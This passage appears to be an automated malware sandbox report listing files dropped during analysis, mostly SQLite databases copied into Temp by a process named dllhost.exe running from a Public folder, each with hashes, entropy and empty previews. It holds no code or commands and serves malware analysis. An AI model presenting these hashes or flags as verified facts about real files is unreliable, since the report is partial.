                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\bmgXVaAISp

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\brEgAMsJt5

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\bu2ytoTHey

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\cTqJLLkoPr

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\cd6SgljOei

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\cgx985Lm45

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\cyBc6rEFai

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\dZW0u2j6fV

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\dyxOTctIHj

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\e9yGUCfdYV

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\eAxIDtB4XL

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\eLDUeouJUe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\eLhydcm2Op

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\evNPvIHADH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\exH5yjB6og

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\eyuu29tYGQ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):25
                                                                                                                                      Entropy (8bit):4.323856189774724
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:xJnKMCvn:7n8
                                                                                                                                      MD5:EBFCF33021F05479BF2BDCC33F84E01E
                                                                                                                                      SHA1:97DCCDBD636D16A6E12D5FBCEFB8786C6CEEBC1C
                                                                                                                                      SHA-256:DDB417E51F161621433C029792A835AF857F93728AC7E5BC131E4F980244F606
                                                                                                                                      SHA-512:B7C7BBE41869809B9650FEA9D8E7EED99006A3EFCF9C0FCDE327B117B981EA61ED0E0305378148A3F9B9F71E4AC3F18E748B1AD381509FB9C38E3491EE757187
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:bdKYHI8I3EvxFTPHCBPifA6xJ

                                                                                                                                      C:\Users\user\AppData\Local\Temp\fXPzELbp4D

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):98304
                                                                                                                                      Entropy (8bit):0.08235737944063153
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                                                                                      MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                                                                                      SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                                                                                      SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                                                                                      SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\fXeBBz3nLw

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\fa5y4kl5uy

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\g2zMzsMVsI

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\g5hYEGnG0N

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\gB8ujBkOs6

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
